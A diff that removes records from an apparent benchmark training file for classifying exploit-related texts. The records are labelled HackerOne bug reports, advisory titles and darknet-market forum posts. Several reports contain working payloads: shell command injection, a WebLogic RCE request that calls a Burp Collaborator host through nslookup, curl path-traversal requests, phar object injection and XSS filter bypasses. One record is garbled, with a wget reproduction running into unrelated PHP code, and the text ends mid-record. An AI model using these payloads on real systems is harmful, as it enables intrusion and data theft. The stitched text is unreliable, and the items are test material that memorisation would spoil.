diff --git "a/benchmark/task1_exploit_clf/train.jsonl" "b/benchmark/task1_exploit_clf/train.jsonl" --- "a/benchmark/task1_exploit_clf/train.jsonl" +++ "b/benchmark/task1_exploit_clf/train.jsonl" @@ -1,1672 +1,3 @@ -{"id": "e2100449535665040333", "text": "Agora\n\nThe page has been moved to http://lacbzxobeprssrfx.onion/index.php-----BEGIN PGP SIGNED MESSAGE-----Hash: SHA1Agora Announcement 2014-04-11Earlier this week the details of a serious bug in the OpenSSL library were made public. This bug, which affected a large number of web servers and devices was popularly referred to as 'Heartbleed'. The bug allows anybody connecting to a vulnerable service to reveal the contents of memory on the server - and thus reveal secret keys, user information, passwords, etc.There is more information about the bug and the versions of OpenSSL that are affected at the website setup for the bug:http://heartbleed.com/Agora is a hidden service served on the Tor network, and while Agora itself does not use the vulnerable library, the Tor software that makes up the network was affected by this bug in some instances since it integrates the OpenSSL library. The Tor project wrote a blog post about how this bug affects various aspects of the Tor service:https://blog.torproject.org/blog/openssl-bug-cve-2014-0160For users of the Tor Browser Bundle you should upgrade to the latest release version immediately, as the bundled version of Tor is vulnerable to the attack. Get the latest Tor Browser Bundle version from http://torproject.orgFor Agora as a hidden service, we have investigated the possibilities of exploitation and to our current best knowledge, the most an attacker could hope to gain in a hypothetical situation of successful exploitation, is the ability to impersonate the hidden service.The Tor blog post on this subject states:\"Like the last big OpenSSL bug, this shouldn't allow an attacker to identify the location of the hidden service, but an attacker who knows the hidden service identity key can impersonate the hidden service.\"At this time even an attack like that is looking unlikely and we haven't seen any signs of it being successfully executed. However, since the underlying bug is very serious and has been in the wild for an unclear amount of time, we will be taking the necessary precautions and shall hereby recycle all our previously used hidden service keys.Effectively this means that we need to change the address of the market.Additionally we have decided to take the market down for some time so we can fully investigate the effects and change all servers used by it in order to fully protect ourselves from any hypothetical damage or information leaks. We estimate that this process will be complete by the end of the week. We do understand that this is a big inconvenience for many of you, but please understand that we do this for the sake of your anonymity as well.The new address to be used from now on to access Agora when it's available will be:http://agorahooawayyfoe.onionThe address to access Agora Forums is:http://lacbzxobeprssrfx.onionWe are constantly vigilant about new threats and the security of our market and users and are taking these steps as a precaution.-----BEGIN PGP SIGNATURE-----iQIcBAEBAgAGBQJTSEzTAAoJELCkZxCnK9YVMTMP/iRZGrHvG3GHdqn0ikj5lssGCwtrITbJ2bSchVxn6YP3CTqqyS/ynbECJ6cLYqI2U7BZl2K4lWarLSNTgHzBqiifX3bVG7yZV1S5GTvoeiWgwmw2mwPSEcqN0dFj/ZvYjkg/alSah7F/5uUGNsg3kbeR4EWSP99q480ncWuwYrQA0x29ntdQ1AjXFsCnOIk/0yDTYW+0/Va1Glmdr5bQcN7TMwEBq3JXIi+GViRCltrdS5l9zZCbS8PV9NZvyMA4pxjCGsXbB6tPML3MUyX4sopAy2hC6CnykmsqCT6Zl79IyKg+hrzM9enxxv1hupFn7cqq6OETsEKU2eUaiKfKpUsOZ9QuKWMqMhmkbaKRe3ffBfo3rmKeDqc56b5Hc6dUOeVTvC2ipZO80rUSowjV42qN1uKJc0tfpTYDR/UuOdUStMjlQCALJCZp/lXpxABlQ5Vv0BOfRFELGzZOkMv9UcdjiU0VC2Wm935YPv7buyhdQzBrKFb++VhLenT21AM59y+jnVjYvkTuw3aNXoBLyRhz22cyAupeWX0GDnyi2nM6QWf3KM/cm7e+JceG24vryIUf2tgwdLfmWA4brD20tT1g1lGzdE6988CUiDyeNgrHRh/KXxgH7xkhQ0kVIbSaEt5bHZOUxk1EnohILVqkThjVFeiDKLxzdB4wNckJEIdP=E2zd-----END PGP SIGNATURE-----", "source": "evolution", "timestamp": "2014-04-12", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "21d519d791c4ad1ffc6d", "text": "[Buffer Over-read] Out of Bounds Memory Read in unserialize()\n\nThe finish_nested_data function in ext/standard/var_unserializer.re in PHP before 5.6.31, 7.0.x before 7.0.21, and 7.1.x before 7.1.7 is prone to a buffer over-read while unserializing untrusted data. Exploitation of this issue can have an unspecified impact on the integrity of PHP.\n\nThis has been fixed and assigned CVE-2017-12933 the bug report is here: https://bugs.php.net/bug.php?id=74111", "source": "hackerone", "timestamp": "2018-11-27", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d08a35f783e5afc97a28", "text": "[Unknown] Found multiple SAP NetWeaver vulnerable services\n\n# Summary:\nHello Team,\nI found two (**redapi.acronis.com** and **redapi2.acronis.com**) sap Netweaver vulnerable services. They do not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity, and Availability of the system, leading to Missing Authentication Check.\n\n# Steps To Reproduce:\n 1. Run the script {F1195428}\n 2. You will see random user created\n\n# POC:\nJust for the POC, I have created a random user with creds\nsapRpoc9049:Secure!PwD6751 (at redapi.acronis.com)\n{F1195413}\n\n# References:\nhttps://github.com/chipik/SAP_RECON\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-6286\nhttps://nvd.nist.gov/vuln/detail/CVE-2020-6287\nhttps://launchpad.support.sap.com/#/notes/2934135\nhttps://launchpad.support.sap.com/#/notes/2939665\n\n**Please lemme know if you need any additional information reagarding this**\n\n## Impact\n\n# Impact:\nThis version of SAP netweaver does not perform an authentication check which allows an attacker without prior authentication to execute configuration tasks to perform critical actions against the SAP Java system, including the ability to create an administrative user, and therefore compromising Confidentiality, Integrity, and Availability of the system, leading to Missing Authentication Check.", "source": "hackerone", "timestamp": "2021-02-16", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "8e398feb735b6c9bdc86", "text": "[Buffer Over-read] CVE-2017-13040 The MPTCP parser in tcpdump before 4.9.2 has a buffer over-read in print-mptcp.c, several functions.\n\n## Description:\nVersions of tcpdump before 4.9.2 are vulnerable to a buffer over-read in print-mptcp.c. This vulnerability was disclosed to the tcpdump maintainers and was recently patched in version 4.9.2 and disclosed as (CVE-2017-13040).\n\nPatch: https://github.com/the-tcpdump-group/tcpdump/commit/4c3aee4bb0294c232d56b6d34e9eeb74f630fe8c\n\nThis vulnerability can be exploited in two ways. The first is to produce a .pcap file with crafted packet(s) for the protocol(s) concerned and make the target system try to decode the file using tcpdump. The second is to send specially crafted packet(s) to the network segment where the target system is running a tcpdump process that is decoding a live packet capture. In the latter case it depends on the specific network protocol if the crafted packet(s) may be sent from the local segment only or from a remote Internet host.\n\n## Impact\n\nIf the affected program is running with special privileges, or accepts data from untrusted network hosts (e.g. a webserver) then the bug is a potential security vulnerability. If the heap buffer is filled with data supplied from an untrusted user then that user can corrupt the memory in such a way as to inject executable code into the running program and take control of the process. This is one of the oldest and more reliable methods for attackers to gain unauthorized access to a computer.", "source": "hackerone", "timestamp": "2021-07-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "2ad1d76cb4cfdd6bea25", "text": "[Cross-site Scripting (XSS) - Generic] Pretty Photo Dom XSS\n\nHi Team,\r\n\r\nJavascript for http://www.jsdelivr.com/#!prettyphoto hosted on the website points to 3.1.5 which is vulnerable to DOMXSS the upstream released an update 3.1.6 7 days back still the CDN is serving vulnerable edition effectively making all the websites vulnerable to DoMXSS\r\n\r\nDetails about the issue are outlined : http://blog.anantshri.info/forgotten_disclosure_dom_xss_prettyphoto\r\n\r\ngithub issue for the stuff : https://github.com/scaron/prettyphoto/issues/149\r\n\r\nHope this helps.", "source": "hackerone", "timestamp": "2015-05-20", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d4eca159cf71b6030930", "text": "[Improper Access Control - Generic] Webauthn tokens are not removed on user deletion\n\n1. userA has an account on serverA\n2. userA enables passwordless login (webauthn) and registers a key/device\n3. userA is removed from the system\n4. a new user comes along and gets assigned userA as id\n5. the old userA tries to login with their key\n6. the old userA can see all data of the new userA\n\n## Impact\n\nThis can lead to an unauthorized actor gaining full access to the data of another user.\nAs suggested in https://hackerone.com/reports/1200700 a blocklist of old userids would help here. However the data should all be cleaned up as well of course!", "source": "hackerone", "timestamp": "2021-08-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "44f8e12c3b724940370d", "text": "ESTsoft ALPlayer 2.0 ASX Playlist File Handling Buffer Overflow Vulnerability\n\nSeverity: high", "source": "zeroscience", "timestamp": "2011-07-06", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "f433fa99933bc3b3cf8e", "text": "VideoFlow Digital Video Protection DVP 10 Authenticated Root Remote Code Execution\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-03-31", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "d6b01dfbdc1434bb044e", "text": "[Agora] iSpam Here to 30\n\nbtw: i love u guys^^", "source": "gayanku", "timestamp": "2015-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "a2907059473bd7ad3d67", "text": "V-SOL GPON/EPON OLT Platform v2.03 Unauthenticated Configuration Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2019-09-26", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "9e418fab48ce8de56821", "text": "Kallithea 0.2.9 (came_from) HTTP Response Splitting Vulnerability\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2015-10-07", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "4da1829927ea8a6e16c0", "text": "[Privilege Escalation] Flash “local-with-filesystem” Bypass in navigateToURL\n\nThis issue has been patched by Adobe: https://helpx.adobe.com/security/products/flash-player/apsb16-25.html\n(CVE-2016-4178)\n\n\nFlash “local-with-filesystem” policy can be bypassed using the “navigateToURL” function. \n\nIt is not possible to target the local files using a Flash file in a website using normal methods such as the “file://” protocol or the “\\\\localhost\\c$” path due to the Flash “local-with-filesystem” security policy.\n\nHowever, a method was found that could bypass this protection. For instance the following payload could be used to open the Windows directory in the C drive:\n\\\\.\\localhost/c:\\windows\\\n\nExample (should be tested in IE):\nhttp://0me.me/demo/xss/flash/link_protocol_test.swf?input=\\\\.\\localhost/c:\\windows\\\n\nIt was possible to open local files and directories in an Iframe as well. The following old PoC page can be used for this purpose:\nhttp://0me.me/demo/xss/flash/iframe_link_protocol_test.html\nThe “link_protocol_test.swf?input=\\\\.\\localhost/c:\\windows\\starter.xml” payload can be used as an example in the “Custom Address” field of this HTML page.\n\nNote: This will only work in Internet Explorer as other browsers do not allow Flash to access local filesystem.\n\nNote: Other vectors: \"\\\\.\\/C:\\\" or \"\\\\.\\/\\\\.\\\\..\\C:\\\" also reported to Adobe afterwards. These payloads were discovered by Matthew Evans from NCC Group.\n\nHistory before reporting this issue:\nSimilar issues were reported to Adobe a few years ago by a number of security researchers after this blog post was published by me: https://soroush.secproject.com/blog/2013/10/catch-up-on-flash-xss-exploitation-part-2-navigatetourl-and-jar-protocol/", "source": "hackerone", "timestamp": "2019-10-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c407edf102fbcb6cb832", "text": "Epic Games Psyonix Rocket League <=1.95 Insecure Permissions\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2021-04-30", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "46add87edf1dc68b885b", "text": "[Heap Overflow] libcurl: SMTP end-of-response out-of-bounds read - CVE-2019-3823\n\n```\nlibcurl contains a heap out-of-bounds read in the code handling the\nend-of-response for SMTP.\n\nIf the buffer passed to `smtp_endofresp()` isn't NUL terminated and contains\nno character ending the parsed number, and `len` is set to 5, then the\n`strtol()` call reads beyond the allocated buffer. The read contents will not\nbe returned to the caller.\n```\n\nThe issue was reported to the project on 18 January 2019.\nA patch was sent to me on 19 January 2019. \ncurl 7.64.0 was released on 6 January 2019.\n\nhttps://curl.haxx.se/docs/CVE-2019-3823.html\n\n## Impact\n\nIf the buffer passed to `smtp_endofresp()` isn't NUL terminated and contains no character ending the parsed number, and `len` is set to 5, then the `strtol()` call reads beyond the allocated buffer.", "source": "hackerone", "timestamp": "2021-01-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "40a9e1e5a1604ed10e25", "text": "[Memory Corruption - Generic] CVE-2016-2177 Undefined pointer arithmetic in SSL code\n\n1.0.2 version here:\nhttps://github.com/openssl/openssl/commit/a004e72b95835136d3f1ea90517f706c24c03da7\n\n1.0.1 version here:\nhttps://github.com/openssl/openssl/commit/6f35f6deb5ca7daebe289f86477e061ce3ee5f46\n\n```\nThese will get listed in the next security advisory and rolled up in the next release whenever that is.\n```\n\naccording to the OpenSSL team.", "source": "hackerone", "timestamp": "2016-09-20", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "35093c0cd5fcb60f7b48", "text": "[Classic Buffer Overflow] CVE-2017-13090 wget heap smash\n\nThe retr.c:fd_read_body() function is called when processing OK responses. When the response is sent chunked in wget before 1.19.2, the chunk parser uses strtol() to read each chunk's length, but doesn't check that the chunk length is a non-negative number. The code then tries to read the chunk in pieces of 8192 bytes by using the MIN() macro, but ends up passing the negative chunk length to retr.c:fd_read(). As fd_read() takes an int argument, the high 32 bits of the chunk length are discarded, leaving fd_read() with a completely attacker controlled length argument. The attacker can corrupt malloc metadata after the allocated buffer.\n\nReproduction\nTo reproduce, use two terminals. In the first terminal:\n$ nc -l -p 8080 app->make('config');\n $request = $this->request;\n\n if (!$this->token->validate('update_logging')) {\n return $this->showError($this->token->getErrorMessage());\n }\n\n // Load in variables from the request\n $mode = (string) $request->request->get('logging_mode') === 'advanced' ? 'advanced' : 'simple';\n $handler = $mode === 'simple' ? (string) $request->request->get('handler', 'database') : null;\n $logFile = $handler === 'file' ? (string) $request->request->get('logFile') : null;\n $enableDashboardReport = $request->request->get('enable_dashboard_report') ? true : false;\n $loggingLevel = strtoupper((string) $request->request->get('logging_level'));\n $intLogErrorsPost = $request->request->get('ENABLE_LOG_ERRORS') === 1 ? 1 : 0;\n $intLogEmailsPost = $request->request->get('ENABLE_LOG_EMAILS') === 1 ? 1 : 0;\n $intLogApiPost = $request->request->get('ENABLE_LOG_API') === 1 ? 1 : 0;\n\n\n // Handle 'file' based logging\n if ($handler === 'file') {\n $directory = dirname($logFile);\n\n // Validate the file name\n if (pathinfo($logFile, PATHINFO_EXTENSION) !== 'log') {\n return $this->showError(t('The filename provided must be a valid filename and end with .log'));\n }\n\n // Validate the file path, create the log file if needed\n if (!file_exists($logFile)) {\n // If the file doesn't exist, make sure we can create one\n if (!is_writable($directory) || !is_dir($directory)) {\n return $this->showError(t('Log file does not exist on the server. The directory of the file provided must exist and be writable on the web server.'));\n }\n```\n\nUser input passed through the “logFile” request parameter is not properly sanitized before being used in a call to the `file_exists` function. This can be exploited by malicious users to inject arbitrary PHP objects into the application scope ([PHP Object Injection via phar:// stream wrapper](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)), allowing them to carry out a variety of attacks, such as executing arbitrary PHP code.\n\n**Reproduction Steps:**\n\n1. Login to the Concrete5 instance as an admin user\n2. Go to \"System & Settings\" -> \"Files\" -> \"Allowed File Types\" and add `log` to File Extensions to Accept\n3. Use the attached Proof of Concept (PoC) script to create a sample Phar file to upload (just run `php phar-generator.php` from the CLI)\n4. Go to \"Files\" and upload the `phar.log` file\n5. Take note of the path where the file has been uploaded (e.g. `application/files/4916/0848/5009/phar.log`)\n6. Go to \"System & Settings\" -> \"Environment\" -> \"Logging Settings\" and select File as Handler\n7. Put the following string into the File text box: `phar://./application/files/4916/0848/5009/phar.log`\n8. Click the Save button, go to http://[host]/[concrete5]/application/files/tmp/test.php and you will see a \"phpinfo\" page\n\n**Notes:**\n\nThe vulnerability has been successfully tested on Concrete5 versions 8.5.4 and 8.5.5 RC1.\n\n## Impact\n\nThis vulnerability might be abused by malicious users to inject and execute arbitrary PHP code on the web server.\nHowever, successful exploitation requires an admin account, and this partially mitigates the issue.", "source": "hackerone", "timestamp": "2021-09-24", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "523886c5c6ea523cbcd8", "text": "[Reddit Darknet Markets] Barbarossa Exposed\n\n>To win in the xanax game you need the 3 S's:\n\n>Shilling\n\n>Sabotage\n\n>Snitching\n\n>\nThat's why I'm the king, or lord if you will.;)\n\n... Well at least you have a good attitude about it, I guess.", "source": "gayanku", "timestamp": "2015-12-16", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b0826c98dd2c8fe73a6b", "text": "[Command Injection - Generic] Command Injection is ps Package\n\nI would like to report a command injection in ps package.\nIt allows attacker to inject arbitrary OS commands instead of PID numbers.\n\n# Module\n\n**module name:** ps\n**version:** 0.0.2\n**npm page:** `https://www.npmjs.com/package/ps`\n\n## Module Description\n\nA Node.js module for looking up running processes.\n\n## Module Stats\n\n39 downloads in the last week\n\n# Vulnerability\n\n## Vulnerability Description\n\nThe ps package expects a valid PID number, but an attacker can inject arbitrary commands instead.\n\n## Steps To Reproduce:\n```js\nvar ps = require('ps');\n\nps.lookup({ pid: \"$(touch success.txt)\" }, function(err, proc) { // this method is vulnerable to command injection\n if (err) {throw err;}\n if (proc) {\n console.log(proc); // Process name, something like \"node\" or \"bash\"\n } else {\n console.log('No such process');\n }\n});\n```\n\n## Patch\n\nN/A replace exec with spawn\n\n# Wrap up\n\n- I contacted the maintainer to let them know: N\n- I opened an issue in the related repository: N\n\n## Impact\n\nIf the attacker can control the PID, she can inject arbitrary OS commands.", "source": "hackerone", "timestamp": "2018-09-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "b87a3f00db35a72fc004", "text": "[Improper Access Control - Generic] xmlrpc.php file enabled - data.gov\n\nWordpress that have xmlrpc.php enabled for pingbacks, trackbacks, etc. can be made as a part of a huge botnet causing a major DDOS. this website www.data.gov has the xmlrpc.php file enabled.\n\n## Impact\n\nThis can be automated from multiple hosts and be used to cause a mass DDOS attack on the victim.", "source": "hackerone", "timestamp": "2019-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "c676d9b8e919c47523a7", "text": "[OS Command Injection] Remote OS command Execution in the 3 more Oracle Weblogic on the ████████, ████, ███████ [CVE-2017-10352]\n\n##Description\nHello. I was able to identify 3 more RCE vulnerabilities due to the outdated Oracle Weblogic instance on the █████████, ███, █████\nAfter my previous discoveries I decided to dig deeper into the `███.mil` scope/IP space and found other instances of vulnerable Oracle WebLogic. I decided to fill all this additional findings in the single report\n\n##POC\nThis request to the https://█████████/wls-wsat/CoordinatorPortType will trigger sleep for 10 seconds (same applies for ████████, ███████):\n\n```\nPOST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: █████████\nContent-Length: 423\ncontent-type: text/xml\nAccept-Encoding: gzip, deflate, compress\nAccept: */*\n\n\n \n \n \n \n 10000\n \n \n \n \n \n\n```\n\nThe next request will resolve custom Burp Collaborator hostname via `nslookup` OS command to prove that it's possible to exfiltrate data via DNS:\n```\nPOST /wls-wsat/CoordinatorPortType HTTP/1.1\nHost: ███\nContent-Length: 724\ncontent-type: text/xml\nAccept-Encoding: gzip, deflate, compress\nAccept: */*\n\n \n\t\n\t\t \n\t\t\t \n\t\t\t \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tcmd\n\t\t\t\t\n\t\t\t\t \n\t\t\t\t\t/c \n\t\t\t\t\n\t\t\t\t\n\t\t\t\t\tnslookup j3nxpi8ecz9uznkpu32mb7pj9af13q.burpcollaborator.net\n\t\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t\n\t\t\t \n\t \n\n\n```\n\n\nNote: to reproduce the second case with `nslookup`, `j3nxpi8ecz9uznkpu32mb7pj9af13q.burpcollaborator.net` host should be replaced by your own Burp Collaborator instance to catch the DNS request\n\n##Suggested fix\nPatching WebLogic to the resent version will fix the issue.\n\n## Impact\n\nRemote OS command execution.", "source": "hackerone", "timestamp": "2019-10-08", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "c1fa5dc245e18aa81b51", "text": "Microhard Systems 3G/4G Cellular Ethernet and Serial Gateway Configuration Download\n\nSeverity: high", "source": "zeroscience", "timestamp": "2018-07-17", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ef755f8c8baa712cb099", "text": "[Path Traversal] Path traversal in Tempfile on windows OS due to unsanitized backslashes\n\nHi team,\n\n##Summary\n\nWe've noticed that both arguments (basename and ext) of Tempfile on Windows are vulnerable to a path traversal which could allow unintentional file creating in arbitrary writable directories. \n\nTempfile often has a user control either by basename or ext (or both). \n\n## PoC\n\n~~~\nirb(main):029:0> Tempfile.open([\"\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Users\\\\rootx\\\\malicious\",\".rb\"])\n=> #\nirb(main):030:0> puts `dir C:\\\\Users\\\\rootx\\\\`\n Volume in drive C has no label.\n Volume Serial Number is C0F2-8D87\n\n Directory of C:\\Users\\rootx\n\n... REDACTED ...\n21-03-2021 00:45 0 malicious20210321-22472-fvuodx.rb\n... REDACTED ...\n~~~\n\nThe same can be accomplished via ext argument. \n\nThanks,\nHarsh and Rahul,\nHTTPVoid\n\n## Impact\n\nUnintentional file creation in an arbitrary directory. Could potentially cause RCE in RoR applications.", "source": "hackerone", "timestamp": "2021-04-07", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "6bee0fc101d444c80532", "text": "[Uncontrolled Resource Consumption] DoS vulnerability in mod_auth_digest CVE-2016-2161\n\nMalicious input to mod_auth_digest will cause the server to crash, and each instance continues to crash even for subsequently valid requests. \n\n[http://httpd.apache.org/security/vulnerabilities_24.html](http://httpd.apache.org/security/vulnerabilities_24.html)", "source": "hackerone", "timestamp": "2017-04-10", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "78f63fe484f3c52f6672", "text": "PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "source": "zeroscience", "timestamp": "2011-07-14", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "d1368ccf530bd6e511d7", "text": "[Silk Road 2] Heartbleed bug compromises half the internet!\n\nWe noted that maybe \"Black Bank\" is the unique market that changes their .onion private_keys after was announced the heartbleed bug.Tor blog have some partial infos about what us are exposed: https://blog.torproject.org/blog/openssl-bug-cve-2014-0160We would like to open here some discussion with all TOR users especially those who have greater knowledge of the topology and data transmission in TOR circuits to know with more precision how users are currently affected by the failure how to fix it and if hidden services should or not to change their private keys as blackbank was made.What are your opinions about?", "source": "gayanku", "timestamp": "2014-04-09", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "ad8d58e05c0b15e6dc89", "text": "[Path Traversal] ███ is vulnerable to CVE-2020-3452 Read-Only Path Traversal Vulnerability\n\n**Summary:**\n████████ is vulnerable to Read-Only Path Traversal Vulnerability as described at https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asaftd-ro-path-KJuQhB86\n\n**Description:**\nGet request parameters at the /+CSCOT+/translation-table and the /+CSCOT+/oem-customization are not properly sanitized which allows for reading files within the webroot directory that are not intended to be readable.\n\nAccording to Cisco:\nThe vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device.\n\n## Step-by-step Reproduction Instructions\n## In Browser:\n1. Copy and paste into your browser: ███/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\"\n2. Note the file being requested to be download. This will be the source code for portal_inc.lua which is not normally accessible. \n\n##In curl:\n1. curl -k \"████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../\" to prove you can read internal files such as the /+CSCOE+/portal_inc.lua file.\n2. Various internal files can be read, and some require using the --output command to output the data to a file as shown in step 3.\n3. curl -k \"█████████/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/http_auth.html&default-language&lang=../\" --output session.js\n\n## Product, Version, and Configuration (If applicable)\nAnyConnect SSL VPN -webvpn\nClientless SSL VPN - webvpn\n\n## Suggested Mitigation/Remediation Actions\nUpdate the software to the latest version via the Cisco advisory linked above in the Summary.\n\n## Impact\n\nAn attacker can view arbitrary files within the web services file system on the targeted device that are meant to be internal or confidential. The web services file system is enabled when the affected device is configured with either WebVPN or AnyConnect features. \nCVSS Score: Base 7.5\nVector: https://tools.cisco.com/security/center/cvssCalculator.x?version=3.1&vector=CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "source": "hackerone", "timestamp": "2020-09-03", "split": "train", "label_source": "within_source_cve_index", "label": 1} -{"id": "aa8754eb51223f92ab03", "text": "[Improper Authentication - Generic] Limit email address length\n\nI can able to add a email address to 255 character or more,as per RFC the maximum length allowed for an email address is 255 characters.\n\nFor more info : \nhttp://stackoverflow.com/questions/386294/what-is-the-maximum-length-of-a-valid-email-address/574698#574698\n\nrelated report:\nhttps://hackerone.com/reports/28632", "source": "hackerone", "timestamp": "2017-03-18", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "e0f03a2c5f367057c545", "text": "[Reddit Darknet Markets] AlphaBay Pin\n\nTrue that. I just save mine as a text file encrypted with my private key. Maybe there is a better way to do it, but I've never needed it either so I dunno.", "source": "gayanku", "timestamp": "2016-08-19", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "16429e267d8d5562bb6a", "text": "[Improper Access Control - Generic] Blocked user Git access through CI/CD token\n\n###Summary\n\nA blocked user does not have the ability to utilise Git client operations, GitLab UI access or API access. However, a blocked user can still use Git clone/Git pull client commands if they are able to obtain a CI/CD token before being blocked. This allows them to access projects they are already added to and any new internal projects.\n\nThere appears to be two possible bugs in the software that when combined can provide git pull/clone operations to a blocked user:\n\n- Running CI/CD jobs don't take into account whether a user is blocked or not\n- Manipulation of gitlab-runner output can result in a CI/CD job that never completes and surpasses timeout thresholds, thus the short lived CI/CD token never expires\n\nThe steps for reproducing the above are summarised below:\n\n***Before user block:***\n- Create a new project\n- Install GitLab-runner and add to project\n- Add a **.gitlab-ci.yml** file \n- Configure gitlab-runner http/git client connections to proxy through attacker's Burp Suite\n- Start a job and intercept the request in Burp\n- Capture request over HTTP from gitlab-runner Git client to clone/pull repository and obtain token\n- Drop HTTP responses from Gitlab-runner, job will now run indefinitely\n\t\n***After user block:***\n- Configure attacker's Git client to use tinyproxy with additional CI/CD HTTP authorisation header added\n- Carry out git pull/clone operations across repositories that blocked user had access to\n\t\n###PoC setup\n\nFor this PoC, the following configuration will be used:\n\n{F425063}\n\n\nAttacker user account: **testuser1**\n\nAll systems are updated and using the latest version of GitLab. There will be some additional example projects added that belong to other users that the attacker will have access to. This is to demonstrate pull/clone operations after being blocked.\n\n\n###PoC Part 1: Setup CI/CD\n\n-As the attacker, create a new project called **block_poc**\n\n{F425065}\n\n-Within the **block_poc** project, set the CI/CD job timeout to be 10 minutes\n\n{F425066}\n\n\n-On the attacker's GitLab runner server **192.168.0.19**, install GitLab Runner using the below instructions and join it to the **block_poc** project using the unique token:\n\nhttps://docs.gitlab.com/runner/install/linux-repository.html\n\n>Note. The executor was set to **shell**\n\n-Configure the GitLab runner **192.168.0.19** to use the attacker's Burp Proxy on **192.168.0.9:8080**\n\n```bash\n$ mkdir /etc/systemd/system/gitlab-runner.service.d\n$ vim /etc/systemd/system/gitlab-runner.service.d/http-proxy.conf \n #Add the following content\n\t[Service]\n\tEnvironment=\"HTTP_PROXY=http://192.168.0.9:8080/\"\n$ :wq\n$ systemctl daemon-reload\n$ systemctl restart gitlab-runner\n```\n\n>Note. Attacker's Burp proxy should listen on **all** interfaces\n\n-On the gitlab-runner server **192.168.0.19**, also proxy git client HTTP requests through the Burp Suite application on the attacker's client **192.168.0.9:8080**. This is required as gitlab-runner will clone the repo using the git-client\n\n```bash\n$ su gitlab-runner\n$ git config --global http.proxy http://192.168.0.9:8080\n$ exit\n```\n\n-Within the **block_poc** project add a new **.gitlab-ci.yml** file with the following contents and commit it.\n\n```yml\ntest: \n script: \n - echo \"helloworld\" > /tmp/test\n```\n\n{F425053}\n\n\n###PoC Part 2: Obtain CI/CD token\n\n\n-Turn on Burp Suite intercept and run the pipeline for the **block_poc** project. Intercept the request that the gitlab-runner makes when it attempts to clone the repository. This will contain the CI/CD token, ***DO NOT SWITCH OFF THE INTERCEPT YET***\n\n{F425055}\n\n\n```\nGET /testuser1/block_poc.git/info/refs?service=git-upload-pack HTTP/1.1\nHost: 192.168.0.16\nAuthorization: Basic Z2l0bGFiLWNpLXRva2VuOlVwbnllR2plRlo4cV95UnptV1Fx\nUser-Agent: git/2.17.1\nAccept: */*\nAccept-Encoding: gzip, deflate\nAccept-Language: en-US, *;q=0.9\nPragma: no-cache\nConnection: close\n```\n\nThe Token can be base64 decoded which will reveal the following:\n\n==gitlab-ci-token:UpnyeGjeFZ8q_yRzmWQq==\n\n\n-Co", "source": "hackerone", "timestamp": "2019-12-13", "split": "train", "label_source": "within_source_cve_index", "label": 0} -{"id": "36cbda89250846d23d35", "text": "[Cross-site Scripting (XSS) - Reflected] WAF bypass via double encoded non standard ASCII chars permitted a reflected XSS on response page not found pages - (629745 bypass)\n\n**Summary:** Report [629745](https://hackerone.com/reports/629745) not properly resolved: \"Many Starbucks websites are vulnerable to cross-site scripting on 404 pages because double quotes lack sanitizing in hidden input tags, which leads to JavaScript execution\".\n\n**Description:**\nReport 629745 caught my attention, so I began testing the WAF to see if I could find any other issues. After a while I found out that the previously reported issue was not properly resolved as I was able to bypass the double encoding filter.\n\nThe original payload on the report was something like this:\n```\nhttps://www.starbucks.com.br/testing%2522%2520accesskey='x'%2520onclick='confirm%601%60'\n```\nand it got resolved. But you can bypass the filter with this:\n```\nhttps://www.starbucks.com.br/testing%2522%80%2520accesskey='x'%2520onclick='confirm%601%60'\n```\nNotice the 